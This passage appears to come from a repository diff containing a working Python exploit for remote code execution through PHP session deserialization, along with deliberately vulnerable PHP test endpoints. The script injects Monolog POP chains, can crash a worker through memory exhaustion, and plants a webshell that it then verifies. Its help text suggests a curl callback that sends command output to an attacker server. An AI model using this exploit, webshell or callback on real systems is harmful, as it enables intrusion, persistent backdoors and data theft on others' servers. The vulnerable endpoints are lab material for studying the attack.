escaped = escape_filename(filename_raw)
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + fieldname
+ b'"; filename="' + escaped + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
fields=30000, fsize=512):
"""Inject chain via upload progress filename + OOM crash.
The filename contains |<chain>. PHP stores it in the upload
progress data in the session file. OOM crash skips cleanup,
leaving the poisoned session on disk.
NOTE: chain_bytes must not contain NULL bytes (multipart parser
limitation). Use only chains with public properties.
"""
bnd = b"----DESER" + os.urandom(8).hex().encode()
filename_payload = b"x|" + chain_bytes
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
sock = tcp_connect(host, port, tls, timeout=120)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=10)
sock.close()
return status_code(resp)
# ═══════════════════════════════════════════════════════════════════════
# Exploit logic
# ═══════════════════════════════════════════════════════════════════════
def run_inject(args, chain_bytes):
"""Inject mode: POST chain into session, trigger via handler mismatch."""
inj = urlparse(args.inject_url)
trg = urlparse(args.trigger_url)
inj_tls = inj.scheme == "https"
trg_tls = trg.scheme == "https"
inj_host = inj.hostname or "127.0.0.1"
trg_host = trg.hostname or "127.0.0.1"
inj_port = inj.port or (443 if inj_tls else 80)
trg_port = trg.port or (443 if trg_tls else 80)
inj_path = inj.path or "/"
trg_path = trg.path or "/"
if inj.query:
inj_path += "?" + inj.query
if trg.query:
trg_path += "?" + trg.query
# The payload: | followed by serialized chain
# When php_serialize stores this in the session file as a
# length-prefixed string, the | is preserved. When the php
# handler reads the file, it finds | and deserializes what follows.
payload = b"|" + chain_bytes
print("[*] Phase 1: obtaining session ID from inject endpoint...")
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
cookies = extract_cookies(probe)
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
print(f" PHPSESSID: {sid}")
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
print(f" Payload size: {len(payload)} bytes")
# URL-encode the binary payload for form POST
encoded_param = args.inject_param.encode() + b"="
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
post_body = encoded_param + encoded_value
resp = http_post_form(
inj_host, inj_port, inj_tls, inj_path,
post_body,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc = status_code(resp)
print(f" Response: HTTP {sc}")
if sc not in (200, 301, 302, 303, 204):
print(f" [!] Unexpected status. Session may not have been written.")
print("[*] Phase 3: triggering deserialization via handler mismatch...")
print(f" GET {args.trigger_url} (php handler reads session with pipe delimiter)")
resp2 = http_get(
trg_host, trg_port, trg_tls, trg_path,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc2 = status_code(resp2)
body2 = body_of(resp2).decode(errors="replace")
print(f" Response: HTTP {sc2}")
return sid, sc2, body2
def run_progress(args, chain_bytes):
"""Progress mode: inject via upload progress filename + OOM crash."""
wr = urlparse(args.write_url)
trg = urlparse(args.trigger_url)
wr_tls = wr.scheme == "https"
trg_tls = trg.scheme == "https"
wr_host = wr.hostname or "127.0.0.1"
trg_host = trg.hostname or "127.0.0.1"
wr_port = wr.port or (443 if wr_tls else 80)
trg_port = trg.port or (443 if trg_tls else 80)
wr_path = wr.path or "/"
trg_path = trg.path or "/"
if b"\x00" in chain_bytes:
print("[!] Chain contains NULL bytes. Progress mode cannot inject NULLs")
print(" via multipart filenames (PHP truncates at \\x00).")
print(" Use --mode inject, or provide a NULL-free chain.")
sys.exit(1)
sid = os.urandom(16).hex()
print(f"[*] Session ID: {sid}")
print("[*] Phase 1: injecting chain via upload progress + OOM crash...")
print(f" Fields: {args.fields} x {args.field_size}B")
sc = progress_inject_oom(
wr_host, wr_port, wr_tls, wr_path, sid,
chain_bytes, args.fields, args.field_size,
)
if sc in (502, 0):
print(f" [+] Worker crashed (HTTP {sc or 'reset'})")
elif sc == 500:
print(f" [+] HTTP 500 (OOM during script)")
else:
print(f" [!] HTTP {sc} — may not have OOMed")
print(" Waiting for new worker...")
time.sleep(2)
for _ in range(8):
try:
r = http_get(wr_host, wr_port, wr_tls, wr_path, timeout=3)
if status_code(r) in (200, 301, 302, 403, 404):
print(" New worker ready")
break
except Exception:
pass
time.sleep(1)
print("[*] Phase 2: triggering deserialization via handler mismatch...")
resp = http_get(
trg_host, trg_port, trg_tls, trg_path,
cookies=f"PHPSESSID={sid}",
timeout=10,
)
sc2 = status_code(resp)
body2 = body_of(resp).decode(errors="replace")
print(f" Response: HTTP {sc2}")
return sid, sc2, body2
def run(args):
# Build or load chain
if args.chain_file:
with open(args.chain_file, "rb") as f:
chain_bytes = f.read().rstrip(b"\n\r")
if not chain_bytes.startswith(b"O:") and not chain_bytes.startswith(b"a:"):
try:
chain_bytes = base64.b64decode(chain_bytes)
except Exception:
pass
print(f"[*] Loaded chain from {args.chain_file} ({len(chain_bytes)} bytes)")
elif args.chain in CHAINS:
info = CHAINS[args.chain]
if info["type"] == "fw":
if not args.write_path:
print(f"[!] --write-path required for {args.chain} chain")
print(" e.g., --write-path /var/www/html/shell.php")
sys.exit(1)
shell = args.shell_code or "<?php system($_GET['c']); ?>"
chain_bytes = info["fn"](args.write_path, shell)
print(f"[*] Built {args.chain} chain ({info['lib']}): writes to {args.write_path}")
else:
if not args.cmd:
print(f"[!] --cmd required for {args.chain} chain")
sys.exit(1)
chain_bytes = info["fn"](args.cmd)
print(f"[*] Built {args.chain} chain ({info['lib']}): system('{args.cmd}')")
else:
print("[!] Specify --chain or --chain-file")
print(" Available chains: " + ", ".join(CHAINS.keys()))
sys.exit(1)
print(f"[*] Chain size: {len(chain_bytes)} bytes")
has_nulls = b"\x00" in chain_bytes
if has_nulls:
print("[*] Chain contains NULL bytes (normal for protected/private props)")
print()
print("=" * 65)
print(" PHP Session Deserialization RCE — Handler Mismatch")
print(" No LFI. No FPM dependency.")
print("=" * 65)
print(f" Mode : {args.mode}")
if args.mode == "inject":
print(f" Inject URL : {args.inject_url}")
print(f" Inject param: {args.inject_param}")
else:
print(f" Write URL : {args.write_url}")
print(f" Trigger URL: {args.trigger_url}")
if args.chain_file:
print(f" Chain : {args.chain_file}")
else:
print(f" Chain : {args.chain}")
print()
if args.mode == "inject":
sid, sc, body = run_inject(args, chain_bytes)
else:
sid, sc, body = run_progress(args, chain_bytes)
# Post-exploit for fw chains: verify the webshell was written
chain_info = CHAINS.get(args.chain, {})
if chain_info.get("type") == "fw" and args.write_path:
print()
print("[*] Phase 4: verifying webshell...")
# Guess the webshell URL from write_path
# /var/www/html/shell.php -> /shell.php
shell_rel = args.write_path
for prefix in ["/var/www/html", "/var/www", "/srv/http",
"/usr/share/nginx/html"]:
if shell_rel.startswith(prefix):
shell_rel = shell_rel[len(prefix):]
break
trg = urlparse(args.trigger_url)
trg_tls = trg.scheme == "https"
trg_host = trg.hostname or "127.0.0.1"
trg_port = trg.port or (443 if trg_tls else 80)
verify_url = shell_rel + "?c=id"
try:
resp = http_get(trg_host, trg_port, trg_tls, verify_url, timeout=5)
vbody = body_of(resp).decode(errors="replace")
if "uid=" in vbody:
print(f" [+] Webshell works!")
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(vbody.strip())
print("[+] ══════════════════════════════════════════")
print()
print(f"[+] Webshell: {trg.scheme}://{trg_host}:{trg_port}{shell_rel}?c=CMD")
return
else:
print(f" [!] Webshell not responding yet (HTTP {status_code(resp)})")
except Exception as e:
print(f" [!] Could not verify: {e}")
if chain_info.get("type") == "cmd":
# Command output may be in the trigger response itself,
# or it may have run as a side effect (no visible output).
print()
if body.strip():
print("[+] Trigger response body:")
print(body[:500])
print()
print("[*] Command was executed during deserialization (__destruct).")
print(" If output is not visible, use a callback payload:")
print(f" --cmd 'curl http://YOUR_SERVER/?r=$(id|base64)'")
print()
print("[*] Deserialization triggered. If no RCE:")
print(" - Verify the handler mismatch (inject=php_serialize, trigger=php)")
print(" - Verify the POP chain matches the target's libraries")
print(" - Try phpggc to generate a chain for the exact versions:")
print(" phpggc -l | grep RCE")
print(f" - Session ID was: {sid}")
def main():
ap = argparse.ArgumentParser(
description="PHP Session Deserialization RCE via Handler Mismatch",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
No LFI. No FPM. RCE via session.serialize_handler mismatch.
Examples:
# Inject mode with Monolog file write (drops webshell):
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-fw --write-path /var/www/html/s.php
# Inject mode with direct command execution:
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain monolog-cmd --cmd 'id'
# Custom phpggc chain (raw or base64):
phpggc Monolog/RCE1 system id > chain.bin
%(prog)s --inject-url http://target/save.php \\
--inject-param data \\
--trigger-url http://target/view.php \\
--chain-file chain.bin
# Progress mode (no app session injection needed):
%(prog)s --mode progress \\
--write-url http://target/serialize_ep.php \\
--trigger-url http://target/php_ep.php \\
--chain-file chain_nofull.bin
""")
ap.add_argument("--mode", choices=["inject", "progress"], default="inject",
help="Injection mode (default: inject)")
ap.add_argument("--inject-url",
help="URL of endpoint that stores POST data in session "
"(must use php_serialize handler)")
ap.add_argument("--inject-param", default="data",
help="POST parameter stored in $_SESSION (default: data)")
ap.add_argument("--write-url",
help="URL of php_serialize endpoint (progress mode)")
ap.add_argument("--trigger-url", required=True,
help="URL of endpoint using default php handler "
"(triggers deserialization)")
ap.add_argument("--chain", choices=list(CHAINS.keys()),
help="Built-in POP chain")
ap.add_argument("--chain-file",
help="Custom serialized chain file (e.g., phpggc output)")
ap.add_argument("--write-path",
help="Target file path for monolog-fw chain")
ap.add_argument("--shell-code",
help="PHP code for webshell (monolog-fw, default: system)")
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
ap.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields for progress mode (default: 30000)")
ap.add_argument("--field-size", type=int, default=512,
help="Bytes per OOM field (default: 512)")
args = ap.parse_args()
if args.mode == "inject" and not args.inject_url:
print("[!] --inject-url required for inject mode")
sys.exit(1)
if args.mode == "progress" and not args.write_url:
print("[!] --write-url required for progress mode")
sys.exit(1)
if not args.chain and not args.chain_file:
print("[!] Specify --chain or --chain-file")
sys.exit(1)
run(args)
if __name__ == "__main__":
main()
+22
View File
@@ -0,0 +1,22 @@
<?php
/**
* Direct deserialization test: loads Monolog, unserializes the chain,
* lets __destruct fire. Should execute system('id').
*/
require __DIR__ . '/vendor/autoload.php';
$payload = base64_decode($argv[1] ?? '');
if (!$payload) {
fwrite(STDERR, "Usage: php test_chain.php <base64_chain>\n");
exit(1);
}
fwrite(STDERR, "Payload length: " . strlen($payload) . "\n");
fwrite(STDERR, "Unserializing...\n");
$obj = unserialize($payload);
fwrite(STDERR, "Object type: " . get_class($obj) . "\n");
fwrite(STDERR, "Letting __destruct fire (end of script)...\n");
// __destruct fires here when $obj goes out of scope
+25
View File
@@ -0,0 +1,25 @@
<?php
/**
* Test endpoint: php_serialize handler.
* Stores POST parameters in $_SESSION.
*
* In the wild, this maps to any endpoint that:
* - Uses ini_set('session.serialize_handler', 'php_serialize')
* (Laravel, Symfony, etc.)
* - Stores user input in $_SESSION
*/
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
foreach ($_POST as $k => $v) {
$_SESSION[$k] = $v;
}
echo json_encode(['status' => 'ok', 'session_id' => session_id()]);
} else {
echo json_encode([
'status' => 'ready',
'session_id' => session_id(),
'handler' => 'php_serialize',
]);
}
+18
View File
@@ -0,0 +1,18 @@
<?php
/**
* Test endpoint: default php handler.
* Just calls session_start(). The handler mismatch causes
* deserialization of objects injected via the php_serialize endpoint.
*
* In the wild, this maps to any PHP script on the same host that:
* - Does NOT set session.serialize_handler to php_serialize
* - Calls session_start()
* (phpMyAdmin, legacy scripts, admin panels, etc.)
*
* Autoloads Monolog so deserialized objects have real classes.
*/
require __DIR__ . '/vendor/autoload.php';
session_start();
echo "OK pid=" . getmypid();